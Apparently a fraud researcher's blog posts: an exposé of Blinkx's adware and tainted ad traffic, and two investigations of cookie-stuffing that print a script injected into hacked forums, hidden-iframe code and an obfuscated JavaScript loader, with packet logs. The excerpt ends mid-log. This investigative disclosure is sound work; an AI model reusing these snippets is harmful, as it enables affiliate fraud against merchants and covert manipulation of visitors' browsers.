Randomized Controlled Trials for Microsoft Copilot for Security updated March 29, 2024

Randomized Controlled Trials for Microsoft Copilot for Security. SSRN Working Paper 4648700. With James Bono, Sida Peng, Roberto Rodriguez, and Sandra Ho.

We conducted randomized controlled trials (RCTs) to measure the efficiency gains from using Security Copilot, including speed and quality improvements. External experimental subjects logged into a M365 Defender instance created for this experiment and performed four tasks: Incident Summarization, Script Analyzer, Incident Report, and Guided Response. We found that Security Copilot delivered large improvements on both speed and accuracy. Copilot brought improvements for both novices and security professionals.

(Also summarized in What Can Copilot’s Earliest Users Teach Us About Generative AI at Work? at “Role-specific pain points and opportunities: Security.” Also summarized in AI and Productivity Report at “M365 Defender Security Copilot study.”)

The Darker Side of Blinkx

Video and advertising conglomerate Blinkx tells investors its “strong performance” results from “strategic initiatives” and “expanding demand, content, and audiences.” Indeed, Blinkx recently climbed past a $1.2 billion valuation. At first glance, it sounds like a great business. But looking more carefully, I see reason for grave doubts.

My concerns result in large part from the longstanding practices of two of Blinkx’s key acquisitions, Zango and AdOn. But concerns extend even to Blinkx’s namesake video site. In the following sections, I address each in turn. Specifically, I show ex-Zango adware still sneaking onto users’ computers and still defrauding advertisers. I show the ex-AdOn traffic broker still sending invisible, popup, and other tainted traffic. I show Blinkx’ namesake site, Blinkx.com, leading users through a maze of low-content pages, while charging advertisers for video ads systematically not visible to users.

The Legacy Zango (Adware) Business

In April 2009, Blinkx acquired a portion of Zango, a notorious adware vendor known for products that at various times included 180 Search Assistant, ePipo, Hotbar, Media Gateway, MossySky, n-Case, Pinball, Seekmo, SpamBlockerUtility, and more. Zango was best known for its deceptive and even nonconsensual installations — in write-ups from 2004 to 2008, I showed Zango installing through security exploits (even after design updates purportedly preventing such installations by supposed rogue partners), targeting kids and using misleading statements, euphemisms, and material omissions, installing via deceptive ActiveX popups, These and other practices attracted FTC attention, and in a November 2006 settlement, Zango promised to cease deceptive installations as well as provide corrective disclosures and pay a $3 million penalty.

Few users would affirmatively request adware that shows extra pop-ups, so Blinkx and its distributors use deceptive tactics to sneak adware onto users’ computers. In a representative example, I ran a Google search for “Chrome” (Google’s well-known web browser), clicked an ad, and ended up at Youdownloaders.com — a site that bundles Chrome with third-party advertising software. (The Youdownloaders footer states “The installers are compliant with the original software manufacturer’s policies and terms & conditions” though it seems this claim is untrue: Chrome Terms of Service section 5.3 disallows copying and redistributing Chrome; 8.6 disallows use of Google’s trademarks in a way that is likely to cause confusion; 9.3 disallows transfer of rights in Chrome.) In my testing, the Youdownloaders installer presented offers for five different adware programs and other third-party applications, among them Weather Alerts from desktopweatheralerts.com. Installation video.

I consider the Youdownloaders installation deceptive for at least four reasons: 1) A user’s request for free Chrome software is not a proper circumstance to tout adware. The user gets absolutely nothing in exchange for supposed “agreement” to receive the adware; Chrome is easily and widely available for free, without adware. It is particularly one-sided to install five separate adware apps — taking advantage of users who do not understand what they are asked to accept (including kids, non-native speakers, and those in a hurry). 2) On the Weather Alerts page of the installation, on-screen statements mention nothing of pop-up ads or, indeed, any advertising at all. In contrast, the FTC’s settlement with Zango requires that disclosure of advertising practices be “clear and prominent,” “unavoidable,” and separate from any license agreement — requirements not satisfied here. 3) The Youdownloaders user interface leads users to think that the bundled installations are compulsory. For example, the “decline” button (which lets a user reject each adware app) appears without the distinctive shape, outline, color, or font of an ordinary Windows button. 4) Users are asked to accept an objectively unreasonable volume of agreements and contracts, which in my testing include at least 14 different documents totaling 37,564 words (8.5 times the length of the US Constitution).

Tellingly, Blinkx takes considerable steps to distance itself from these deceptive practices. For example, nothing on Blinkx’s site indicates that Weather Alerts is a Blinkx app or shows Blinkx ads. The Desktopweatheralerts.com site offers no name or address, even on its Contact Us form. Weather Alerts comes from a company called Local Weather LLC, an alter ego of Weather Notifications LLC, both of Minneapolis MN, with no stated affiliation with Blinkx. Weather Notifications’ listed address is a one-bedroom one-bathroom apartment — hardly a standard corporate office. Nonetheless, multiple factors indicate to me that Desktop Weather Alerts is delivers a version of Zango adware. For one, Desktop Weather Alerts popups use the distinctive format long associated with Zango, including the distinctive browser buttons at top-left, as well as distinctive format of the advertisement label at bottom-left. Similarly, many sections of the license agreement and privacy policy are copied verbatim from longstanding Zango terms. Within the Weather Alerts EXE, strings reference 180search Assistant (a prior Zango product name) as well as 180client and various control systems long associated with Zango’s ad-targeting system. Similarly, when Weather Alerts delivers ads, its ad-delivery communications use a distinctive proprietary HTTP syntax both for request (to showme.aspx, with a HTTP POST parameter of epostdata= providing encoded ad context) and response (a series of HTML FORM elements, most importantly an INPUT NAME=ad_url to indicate the popup to open). I have seen this syntax (and its predecessors) in Zango apps for roughly a decade, but I have never seen this syntax used by any advertising delivered by other adware vendors or other companies. Moreover, when a Blinkx contractor previously contacted a security vendor to request whitelist treatment of its adware, the Blinkx representative said “The client is Blinkx … Your engine … was flagging their installer package SWA as SevereWeatherAlerts…” (emphasis added). Notice the Blinkx representative indicating that SWA (another Local Weather program, virtually identical save for domain name and product name) is “their” app, necessarily referring to Blinkx. Finally, in a February 2014 presentation, Blinkx CEO Brian Mukherjee included the distinctive Local Weather icon (present throughout the LW app and in LW’s installation solicitations) as part of the “Blinkx Ecosystem” — further confirming the link between LW and Blinkx. Taken together, these factors give good reason to conclude that Local Weather is applications are powered by Blinkx and part of the Blinkx network. Furthermore, in my testing Blinkx is the sole source of advertising for Weather Alerts — meaning that Blinkx’s payments are Weather Alerts’ primary source of revenue and primary reason for existence. (Additions made February 13, 2014, shown in grey highlighting.)

Blinkx/Zango software continues to defraud affiliate merchants. Blinkx/Zango software continues to defraud affiliate merchants.

Meanwhile, Zango-delivered advertising remains a major cause of concern. Zango’s core advertising product remains the browser popup — a disruptive form of advertising unpopular with most users and also unpopular with most mainstream advertisers. Notably, Zango’s popups perpetrate various advertising fraud, most notably ‘lead stealing” affiliate windows that cover merchant sites with their own affiliate links. If the user purchases through either window, the Zango advertiser gets paid a commission — despite doing nothing to genuinely cause or encourage the user’s purchase. (Indeed, the popup interrupts the user and thereby somewhat discourages a purchase.) At right, I show a current example: In testing of January 19, 2014, Blinkx/Zango sees a user browsing Walmart, then opens a popup to Blinkx/LeadImpact (server lipixeltrack) which redirects to LinkShare affiliate ORsWWZomRM8 and on to Walmart. Packet log proof. Thus, Walmart ends up having to pay an affiliate commission on traffic it already had — a breach of Walmart’s affiliate rules and broadly the same as the practice for which two eBay affiliates last year pled guilty. I’ve reported Zango software used for this same scheme since June 2004. As shown at right and in other recent examples, Zango remains distinctively useful to rogue affiliates perpetrating these schemes. These rogue affiliates pay Blinkx to show the popups that set the scheme in motion — and I see no sign that Blinkx has done anything to block this practice.

Rather than put a stop to these practices, Blinkx largely attempts to distance itself from Zango’s legacy business. For one, Blinkx is less than forthright as to what exactly it purchased. In Blinkx’s 2010 financial report, the first formal investor statement to discuss the acquisition, Blinkx never uses the word “Zango” or otherwise indicates the specific company or assets that Blinkx acquired. Rather, Blinkx describes the purchase as “certain net assets from a consortium of financial institutions to facilitate the growth of the video search and advertising businesses.” If a reader didn’t already know what Blinkx had bought, this vague statement would do nothing to assist.

Even when Blinkx discusses the Zango acquisition, it is less than forthcoming. UK news publication The Register quotes an unnamed Blinkx spokeswoman saying that Blinkx “purchased some technical assets from the bank [that foreclosed on Zango] including some IP and hardware, which constituted about 10 per cent of Zango’s total assets.” Here too, readers are left to wonder what assets are actually at issue. A natural interpretation of the quote is that Blinkx purchased trademarks, domain names, or patents plus general-purpose servers — all consistent with shutting the controversial Zango business. But in fact my testing reveals the opposite: Blinkx continues to run key aspects of Zango’s business: legacy Zango installations continue to function as usual and continue to show ads, and Blinkx continues to solicit new installations via the same methods, programs, and partners that Zango previously used. Furthermore, key Zango staff joined Blinkx, facilitating the continuation of the Zango business. Consider Val Sanford, previously a Vice President at Zango; her LinkedIn profile confirms that she stayed with Blinkx for three years after the acquisition. I struggle to reconcile these observations with the claim that Blinkx only purchased 10% of Zango or that the purchase was limited to “IP and hardware.” Furthermore, ex-Zango CTO Ken Smith contemporaneously disputed the 10% claim, insisting that “Blinkx acquired fully 100% of Zango’s assets.”

Blinkx has been equally circumspect as to the size of the ex-Zango business. In Blinkx’ 2010 financial report, Blinkx nowhere tells investors the revenue or profit resulting from Zango’s business. Rather, Blinkx insists “It is not practical to determine the financial effect of the purchased net assets…. The Group’s core products and those purchased have been integrated and the operations merged such that it is not practical to determine the portion of the result that specifically relates to these assets.” I find this statement puzzling. The ex-Zango business is logically freestanding — for example, separate relationships with the partners who install the adware on users’ computers. I see no proper reason why the results of the ex-Zango business could not be reported separately. Investors might reasonably want to know how much of Blinkx’s business comes from the controversial ex-Zango activities.

Indeed, Blinkx’s investor statements make no mention whatsoever of Zango, adware, pop-ups, or browser plug-ins of any kind in any annual reports, presentations, or other public disclosures. (I downloaded all such documents from Blinkx’ Financial Results page and ran full-text search, finding no matches.) As best I can tell, Blinkx also failed to mention these endeavors in conference calls or other official public communications. In a December 2013 conference call, Jefferies analyst David Reynolds asked Blinkx about its top sources of traffic/supply, and management refused to answer — in sharp contrast to other firms that disclose their largest and most significant relationships.

In March-April 2012, many ex-Zango staff left Blinkx en masse. Many ended up at Verti Technology Group, a company specializing in adware distribution. Myriad factors indicate that Blinkx controls Verti: 1) According to LinkedIn, Verti has eight current employees of which five are former employees of Zango, Pinball, and/or Blinkx. Other recent Verti employees include Val Sanford, who moved from Zango to Blinkx to Verti. 2) Blinkx’s Twitter account: Blinkx follows just nineteen users including Blinkx’s founder, various of its acquisitions (including Prime Visibility / AdOn and Rhythm New Media), and several of their staff. Blinkx follows Verti’s primary account as well as the personal account of a Verti manager. 3) Washington Secretaty of State filings indicate that Verti’s president is Colm Doyle (then Directory of Technology at Blinkx, though he subsequently returned to HP Autonomy) and secretary, treasurer, and chairman is Erin Laye (Director of Project Management at Blinkx). Doyle and Laye’s links to Blinkx were suppressed somewhat in that both, at formation, specified their home addresses instead of their Blinkx office. 4) Whois links several Verti domains to Blinkx nameservers. (Details on file.) Taken together, these facts suggest that Blinkx attempted to move a controversial business line to a subsidiary which the public is less likely to recognize as part of Blinkx.

The Legacy AdOn Business

In November 2011, Blinkx acquired Prime Visibility Media Group, best known for the business previously known as AdOn Network and MyGeek. I have critiqued AdOn’s traffic repeatedly: AdOn first caught my eye when it boasted of relationships with 180solutions/Zango and Direct Revenue. New York Attorney General litigation documents later revealed that AdOn distributed more than 130,000 copies of notorious Direct Revenue spyware. I later repeatedly reported AdOn facilitating affiliate fraud, inflating sites’ traffic stats, showing unrequested sexually-explicit images, and intermediating traffic that led to Google click fraud.

Similar problems continue. For example, in a February 2013 report for a client, I found a botnet sending click fraud traffic through AdOn’s ad-feeds.com server en route to advertisers. In an August 2013 report for a different client, I found invisible IFRAMEs sending traffic to AdOn’s bing-usa.com and xmladfeed.com servers, again en route to advertisers. Note also the deceptive use of Microsoft’s Bing trademark — falsely suggesting that this tainted traffic is in some way authorized by or affiliated with Bing, when in fact the traffic comes from AdOn’s partners. Moreover, the traffic was entirely random and untargeted — keywords suggested literally at random, entirely unrelated to any aspect of user interests. In other instances, I found AdOn receiving traffic directly from Zango adware. All told, I reported 20+ distinct sequences of tainted AdOn traffic to clients during 2013. AdOn’s low-quality traffic is ongoing: Advertisers buying from AdOn receive invisible traffic, adware/malware-originating traffic, and other tainted traffic that sophisticated advertisers do not want.

An AdOn staff member touts multiple incriminating characteristics of AdOn traffic. An AdOn staff member touts multiple incriminating characteristics of AdOn traffic.

Industry sources confirm my concern. For example, a June 2013 Ad Week article quotes one publisher calling AdOn “just about the worst” at providing low-quality traffic, while another flags “crazy traffic patterns.” In subsequent finger-pointing as to tainted traffic to OneScreen sites, OneScreen blamed a partner, Touchstorm, for working with AdOn — wasting no words to explain why buying from AdOn is undesirable. Even intentional AdOn customers report disappointing quality: In comments on a posting by Gauher Chaudhry, AdOn advertisers call AdOn “the reason I stopped doing any PPV [pay-per-view] … this is bot traffic”, “junk”, and “really smell[s] like fake traffic.” Of 31 comments in this thread, not one praised AdOn traffic quality.

Recent statements from AdOn employees confirm undesirable characteristics of AdOn traffic. Matthew Papke’s LinkedIn page lists him as Director of Contextual Ads at AdOn. But his page previously described AdOn’s offering as “pop traffic” — admitting undesirable non-user-requested pop-up inventory. His page called the traffic “install based” — indicating that the traffic comes not from genuine web pages, but from adware installed on users’ computers. See screenshot at right. All of these statements have been removed from the current version of Matthew’s page.

Problems at Blinkx.com: Low-Quality Traffic, Low-Quality Content, and Invisible Ads

Alexa reports a sharp jump in Blinkx traffic in late 2013. Alexa reports a sharp jump in Blinkx traffic in late 2013.

Alexa reports a sharp jump in Blinkx traffic in late 2013. Zango adware caused my computer to display this page from the Blinkx site, full-screen and without standard window controls.

Blinkx’s namesake service is the video site Blinkx.com. Historically, this site has been a bit of an also-ran — it’s certainly no YouTube! But Alexa reports a striking jump in Blinkx popularity as of late 2013: Blinkx’s traffic jumped from rank of roughly 15,000 worldwide to, at peak, rank of approximately 3,000. What could explain such a sudden jump?

In my automated and manual testing of Zango adware, I’ve recently begun to see Zango forcing users to visit the Blinkx site. The screenshot at right gives an example. My test computer displayed Blinkx full-screen, without title bar, address bar, or standard window buttons to close or minimize. See also a partial packet log, wherein the Blinkx site attributes this traffic to Mossysky (“domain=mossysky”), one of the Zango brand names. It’s a strikingly intrusive display — no wonder users are complaining, about their computers being unusable due to Blinkx’s unwanted intrusion. See e.g. a December 2013 Mozilla forum post reporting “my computer has been taken over by malware, half the links are inaccessible because of hovering links to Blinkx,” and a critique and screenshot showing an example of these hovering links. On a Microsoft support forum, one user reports Internet Explorer automatically “opening … numerous BLINKX websites” — as many as “20 websites open at one time, all Blinkx related.”

Moreover, Alexa’s analysis of Blinkx visitor origins confirms the anomalies in this traffic. Of the top ten sites sending traffic to Blinkx, according to Alexa, six are Blinkx servers, largely used to forward and redirect traffic (networksad.com, advertisermarkets.com, networksads.com, advertiserdigital.com, blinkxcore.com, and networksmarkets.com). See Alexa’s Site Info for Blinkx.com at heading “Where do Blinkx.com’s visitors come from?”

Strikingly, Zango began sending traffic to Blinkx during the winter 2013 holiday season — a time of year when ad prices are unusually high. Zango’s popups of Blinkx seem to have ended as suddenly as they began — consistent with Blinkx wanting extra traffic and ad revenue when ad prices are high, but concluding that continuing this practice at length risks excessive scrutiny from both consumers and advertisers.

Meanwhile, examining Blinkx.com, I’m struck by the lack of useful content. I used the Google search site:blinkx.com to find the parts of the Blinkx site that, according to Google, are most popular. I was directed to tv.blinkx.com, where the page title says users can “Watch full episodes of TV shows online.” I clicked “60 Minutes” and received a page correctly profiling the excellence of that show (“the granddaddy of news magazines”). But when I clicked to watch one of the listed episodes, I found nothing of the kind: Requesting “The Death and Life of Asheboro, Stealing History, The Face of the Franchise,” I was told to “click here to watch on cbs.com” — but the link actually took me to a 1:33 minute home video of a dog lying on the floor, “Husky Says No to Kennel”, syndicated from YouTube, entirely unrelated to the top-quality 60 Minutes content I had requested. (Screen-capture video.) It was a poor experience — not the kind of content likely to cause users to favor Blinkx’s service. I tried several other shows supposedly available — The Colbert Report, The Daily Show with Jon Stewart, Family Guy, and more — and never received any of the listed content.

In parallel, the Blinkx site simultaneously perpetrated a remarkable scheme against advertisers: On the video index page for each TV show, video advertising was triggered to play as I exited each page by clicking to view the supposed video content. Because the supposed content opened in a new tab, the prior tab remained active and could still host a video player with advertising. Of course the prior tab was necessarily out of visibility: Blinkx’s code had just commanded the opening of a new tab showing the new destination. But the video still played, and video advertisers were still billed. Screen-capture video.

Industry sources confirm concerns about Blinkx ad visibility. For example, a December 15, 2013 Ad Week piece reported Vindico analysis finding just 23% of Blinkx videos viewable (defined as just 50% of pixels visible for just one second). By Vindico’s analysis, an advertiser buying video ads from Blinkx suffers three ads entirely invisible for every ad visible even by that low standard — a remarkably poor rate of visibility. In contrast, mainstream video sites like CBS and MSN enjoyed viewability rates two to four times higher.

Putting the Pieces Together

  Q3 ’13 Headcount ’13 Revenue ($mm) revenue / headcount ($k)
Tremor 287 $148 $517
YuMe 357* $157 $440
RocketFuel 552 $240 $434
Criteo 452 $240 $532
Blinkx 265** $246*** $927

* Q3 ’13 headcount not available. 357 is 2012 year-end. S&M spend up ~50% in 2013. Adjusted revenue/headcount is $293k
** Q3 ’13 headcount not available. 265 is 2012 year-end. S&M spend up ~15% in 2013. Adjusted revenue/headcount is $803k.
*** 2013 revenue estimate based on Bloomberg consensus estimates

Comparing Blinkx’s revenues to competitors, I am struck by Blinkx’s apparent outsized success. See the table at right, finding Blinkx producing roughly twice as much revenue per employee as online video/display ad networks and advertising technology companies which have recently made public offerings. Looking at Blinkx’s sites and services, one doesn’t get the sense that Blinkx’s service is twice as good, or its employees twice as productive, as the other companies listed. So why does Blinkx earn twice as much revenue per employee? One natural hypothesis is that Blinkx is in a significantly different business. While other services make significant payments to publishers for use of their video content, my browsing of Blinkx.com revealed no distinctive content obviously licensed from high-quality high-cost publishers. I would not be surprised to see outsized short-term profits in adware, forced-visit traffic, and other black-hat practices of the sort used by some of the companies Blinkx has acquired. But neither are these practices likely to be sustainable in the long run.

Reviewing Blinkx’s statements to investors, I was struck by the opacity. How exactly does Blinkx make money? How much comes from the legacy Zango and AdOn businesses that consumers and advertisers pointedly disfavor? Why are so many of Blinkx’s metrics out of line with competitors? The investor statements raise many questions but offer few answers. I submit that Blinkx is carefully withholding this information because the company has much to hide. If I traded in the companies I write about (I don’t!), I’d be short Blinkx.

This article draws in part on research I prepared for a client that sought to know more about Blinkx’s historic and current practices. At my request, the client agreed to let me include portions of that research in this publicly-available posting. My work for that client yielded a portion of the research presented in this article, though I also conducted significant additional research and drew on prior work dating back to 2004. My agreement with the client did not oblige me to circulate my findings as an article or in any other way; to my knowledge, the client’s primary interest was in learning more about Blinkx ‘s business, not in assuring that I tell others. By agreement with the client, I am not permitted to reveal its name, but I can indicate that the client is two US investment firms and that I performed the research during December 2013 to January 2014. The client tells me that it did not change its position on Blinkx after reading my article. (Disclosure updated and expanded on February 4-5, 2014.)

I thank Eric Howes, Principal Lab Researcher at ThreatTrack Security, and Matthew Mesa, Threat Researcher at ThreatTrack Security, for insight on current Blinkx installations.

Hack-Based Cookie-Stuffing by Bannertracker-Script with Wesley Brandi

Last month we presented an example cookie-stuffer using encoded JavaScript to drop scores of cookies invisibly. But how can such a cookie-stuffer get traffic to its site? Today’s example is particularly nefarious: Perpetrators using server bannertracker-script.com have hacked at least 29 different online discussion forums to add invisible code that lets them cookie-stuff forum visitors. Through this approach, perpetrators have gained access to a particularly large amount of traffic — letting them target all the more users.

Getting Traffic to Bannertracker-script

The perpetrators appear to be targeting a documented exploit in vBulletin (a popular forum discussion program built in PHP/MySQL) versions v4.x to v4.1.2. The exploit allows for a remote attacker to execute arbitrary PHP script as well as untrusted SQL queries. It was first reported in German in April 2011, then in English in January 2012. A video tutorial even offers step-by-step instructions on how to use this exploit.

Our automation systems have examined more than 500,000 sites, searching for code promoting the cookie-stuffers we are following. We have found numerous affected sites, including sites as popular as searchenginewatch.com (Alexa traffic rank #2045), webdeveloper.com (#2822) and redflagdeals.com (#3188) along with many more. Selected pages of these sites (typically the forum pages) embed hostile code from Bannertracker-script.

In each instance, the hostile code appears as a brief JavaScript addition to an otherwise-legitimate site. See the single line of inserted code highlighted in yellow below. Notably, the hostile code appears within a block of code embedding comScore tags (green highlighting below) — a place where site designers expect to see external JavaScript references, making the Bannertracker-script insertion that much less likely to be detected.

<!– Begin comScore Tag –>
<script type=”text/javascript” src=”http://www.bannertracker-script.com/banner/ads.php?a=big”></script>
<script type=”text/javascript”>document.write(“<img id=’img1′ height=’1′ width=’1′>”);
document.getElementById(“img1”).src=”http://beacon.scorecardresearch.com/scripts/beacon.dll? C1=2&C2=5915554&C3=5915554&C4=www.redflagdeals.com &C5=&C6=&C7=” + escape(window.location.href) + “&C8=” + escape(document.title) + “&C9=” + escape(document.referrer) + “&rn=” + Math.floor(Math.random()*99999999);</script><!– End comScore Tag –>

Examining Bannertracker-script insertions on other sites, we found them in other inconspicuous places — for example, just before the </HTML> tag that ends a page.

Cookie-Stuffing by Bannertracker-script

As a result of the hack-based code insertion shown above, a user visiting any affected site receives Bannertracker-script code also. That code creates an invisible IFRAME which loads the Amazon site via an affiliate link. Here’s how: First, the code creates a doubly-invisible DIV (CSS style of display:hidden and visibility:none, shown in blue highlighting below). The code then creates an invisible IFRAME within that DIV (CSS display:none, visibility:hidden, size of 0x0 pixels, shown in purple highlighting below). The code instructs that the DIV load a URL on Http-uptime.com (grey) which redirects through to an Amazon Associates affiliate link with affiliate ID camerlucidpho-20 (red). See also the full packet log.

GET /banner/ads.php?a=big HTTP/1.1 …
Referer: http://forums.redflagdeals.com/ …
Host: www.bannertracker-script.com

HTTP/1.1 200 OK …
GPad = {
init: function () {
document.write(‘<div id=”GPAD” style=”visibility:hidden; display:none;”></div>’);
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’, ‘http://www.http-uptime.com/banner/index.php‘);
frame.setAttribute(‘style’, ‘display:none; width: 0px; height 0px; border: none; visibility:hidden‘);
frame.style.visibility = ‘hidden’;
frame.style.display = ‘none’;
var div = document.getElementById(‘GPAD’);

GET /index.php HTTP/1.1 …
Referer: http://forums.redflagdeals.com/ …
Host: www.http-uptime.com

HTTP/1.1 200 OK …
<html><head><meta http-equiv=”refresh” content=”0;url=http://www.http-uptime.com/icons/blank.php?url=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fsearch%3Fie%3DUTF8%26keywords%3D%26tag%3Dcamerlucidpho-20%26index%3Dpc-hardware%26linkCode%3Dur2%26camp%3D1789%26creative%3D932″ />

GET /icons/blank.php?url=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fsearch%3Fie%3DUTF8%26keywords%3D%26tag%3Dcamerlucidpho-20%26index%3Dpc-hardware%26linkCode%3Dur2%26camp%3D1789%26creative%3D932 HTTP/1.1 …
Host: www.http-uptime.com

HTTP/1.1 302 Moved Temporarily …
Location: http://www.amazon.com/gp/search?ie=UTF8&keywords=&tag=camerlucidpho-20&index=pc-hardware&linkCode=ur2&camp=1789&creative=932

The net effect is to load Amazon’s site invisibly. Amazon operates using a 24-hour referral period, so if a user happened to make a purchase from Amazon within the next 24 hours, Amazon would credit this affiliate as the putative referer of the traffic — paying this affiliate a commission of at least 4% and as much as 15%.

Concealment by Bannertracker-script

The preceding discussion noted two mechanisms by which Bannertracker-script attempted to conceal its actions. First, it placed its tags within the comScore section of affected sites, where unfamiliar code is less likely to attract suspicion. Second, it loaded its tags invisibly, including via the multiple nested invisible elements detailed above. Still, by sending so much to Amazon, Bannertracker-script clearly recognized that it risked attracting scrutiny from Amazon, which might question how one affiliate obtained so much traffic. Bannertracker-script therefore turned to multiple Amazon Associates ID’s. In our testing, we found more than 200 such IDs of which we report 20 below:

abacemedi-20 aledesoftw-20 anybr-20 arizonosteopc-20  
actkid-20 allesbluefree-20 apa0c5-20 artofdri-20
adirooutdocom-20    alsjopa-20 apitherapy03-20   astba-20
afrkilbeemov-20 amergumbmachc-20    apitroservic-20 atlcitgam-20
ajelcand-20 ancestorville-20 arasmazi-20 babblu-20

Using multiple IDs raises a further risk for Bannertracker-script: A diligent investigator might request the Bannertracker-script site repeatedly in order to attempt to learn most or all of Bannertracker-script’s IDs. Bannertracker-script attempted to reduce this risk via server-side logic to avoid serving the same user with two different ID’s, based on variables that seem to include client IP address, HTTP User-agent header, and more.

In principle, investigators might recognize Bannertracker-script by its distinctive domain name. But in fact we have seen this perpetrator also using other domain names. (We refer to the perpetrator as Bannertracker-script because that was the first such domain we found and, in our testing, still the most frequent.)

Affected Merchants

To date, we have primarily seen Bannertracker-script targeting Amazon. But other merchants are vulnerable to similar attacks that drop a large number of cookies invisibly in hopes that users make purchases from the corresponding merchants. In this regard, large merchants are particularly vulnerable: The more popular a merchant is, the greater the likelihood of a given user making a purchase from that merchant in a given time period. Indeed, we have also seen Bannertracker-script using the same technique to drop cookies for several adult web sites

Amazon’s exposure is somewhat reduced by its 24-hour affiliate commission window — paying commission to affiliates only on a user’s purchases within 24 hours of invocation of an affiliate link, whereas other merchants often grant credit for as long as 30 days. But Amazon’s large and growing popularity limits the effectiveness of this measure. Conservatively, suppose 40% of users are Amazon shoppers and make an average of four purchases from Amazon per year. Then 0.4*4/365=0.44% of users are likely to make purchases from Amazon in any given 24-hour period. If Bannertracker-script can deposit one million Amazon cookies, via hacks of multiple popular sites, it will enjoy commission on 0.44%*1,000,000=4,384 purchases. At an average purchase size of $30 and a 6.5% commission, this would be $8,547 of revenue per million cookie-stuffing incidents — substantial revenue, particularly given the prospect of hacking other vulnerable web sites. Ordinarily, one might expect Amazon to notice a new affiliate with a large spike in earnings. But by spreading its commissions across hundreds of affiliate accounts, Bannertracker-script may avoid or deflect such scrutiny.

We have reported this matter to our contacts at Amazon and will update this post with any information Amazon cares to share.

Large-Scale Cookie-Stuffing at Eshop600.co.uk with Wesley Brandi

We have recently been testing web sites that drop affiliate cookies invisibly — claiming to have referred users to the corresponding merchants’ sites, when in fact users never asked to visit the merchants’ sites and never saw the merchants’ sites. Nonetheless, through invisible IFRAMEs, invisible IMG tags, and similar constructs, these pages manage to set affiliate cookies indicating that referrals occurred. Then, if users happen to make purchases from the targeted merchants, the cookie-stuffers collect affiliate commissions. With commissions as large as 40%, this tactic can be lucrative.

One large offender we recently found: Eshop600.co.uk. In automated and manual testing, we found 36 pages on the Eshop600 site, including the site’s home page, which drop dozens of cookies invisibly. To a user glancing at a web browser, the Eshop600 site looks perfectly normal:

The Eshop600 site

But within the affected Eshop600 pages are 26 blocks of encoded JavaScript code. An example:

var i,y,x="3c696d672069643d22706963333722207372633d22....";y="";var _0x70c3=["x6Cx65x6Ex67x74x68","x25","x73x75x62x73x74x72","x77x72x69x74x65"];for(i=0;i<x[_0x70c3[0]];i+=2){ y+=unescape(_0x70c3[1]+x[_0x70c3[2]](i,2));} ;document[_0x70c3[3]](y);

We decoded this JavaScript to find an invisible IMG tag.

<img width="75" height="100" id="pic37" style="display: none;" alt=" " src="http://www.tkqlhce.com/click-3910892-5590799"/>

Note the CSS STYLE of display:none (yellow highlighting) which makes the entire tag invisible. In any event, the 75×100 size (green highlighting) is too small to load a genuine web page. Nonetheless, a trace of the redirect sequence shows that the IMG does indeed redirect through an affiliate network (ValueClick’s Commission Junction) (red) and on to an affiliate merchant (blue).

GET /click-3910892-5590799 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateHost: www.tkqlhce.comConnection: Keep-AliveHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.tkqlhce.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:02 GMTLocation: http://www.apmebf.com/oq68y1A9S/18D/VVZQXZZ/TZRQYZS/Q/Q/Q?i=y<<7JJF%3A%2F%2FMMM.JAGB724.2EC%3AYQ%2F2B82A-TZRQYZS-VVZQXZZ<<g<7JJF%3A%2F%2FMMM.4I7EFWQQ.2E.KA%2F38I2EKDJ-LEK274H-2E34I.7JCB<Content-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:01 GMT---GET /oq68y1A9S/18D/VVZQXZZ/TZRQYZS/Q/Q/Q?i=y<<7JJF%3A%2F%2FMMM.JAGB724.2EC%3AYQ%2F2B82A-TZRQYZS-VVZQXZZ<<g<7JJF%3A%2F%2FMMM.4I7EFWQQ.2E.KA%2F38I2EKDJ-LEK274H-2E34I.7JCB< HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateConnection: Keep-AliveHost: www.apmebf.comHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.apmebf.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:07 GMTLocation: http://www.kdukvh.com/rb101ox54P/x38/QQULSUU/OUMLTUN/L/MADTPECKMRPTMTONUQKMONSTTOMRSQQPKSL/LLTzyMTvPvyUMMzMTLNvLLNOvz--MQxN?u=x<dkp!j8bl-u5it4xtn<iuuq%3A%2F%2Fxxx.ulrmidf.dpn%3A91%2Fdmjdl-4A219A3-66A18AA<<H<iuuq%3A%2F%2Fxxx.ftipq711.dp.vl%2Fejtdpvou-wpvdifs-dpeft.iunm<Set-Cookie: S=1qt84us-1648183295-1327883167554-70; domain=.apmebf.com; path=/; expires=Sat, 28-Jan-2017 00:26:07 GMTSet-Cookie: LCLK=cjo!i7ak-t4hs3wsm; domain=.apmebf.com; path=/; expires=Sat, 28-Jan-2017 00:26:07 GMTContent-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:07 GMT---GET 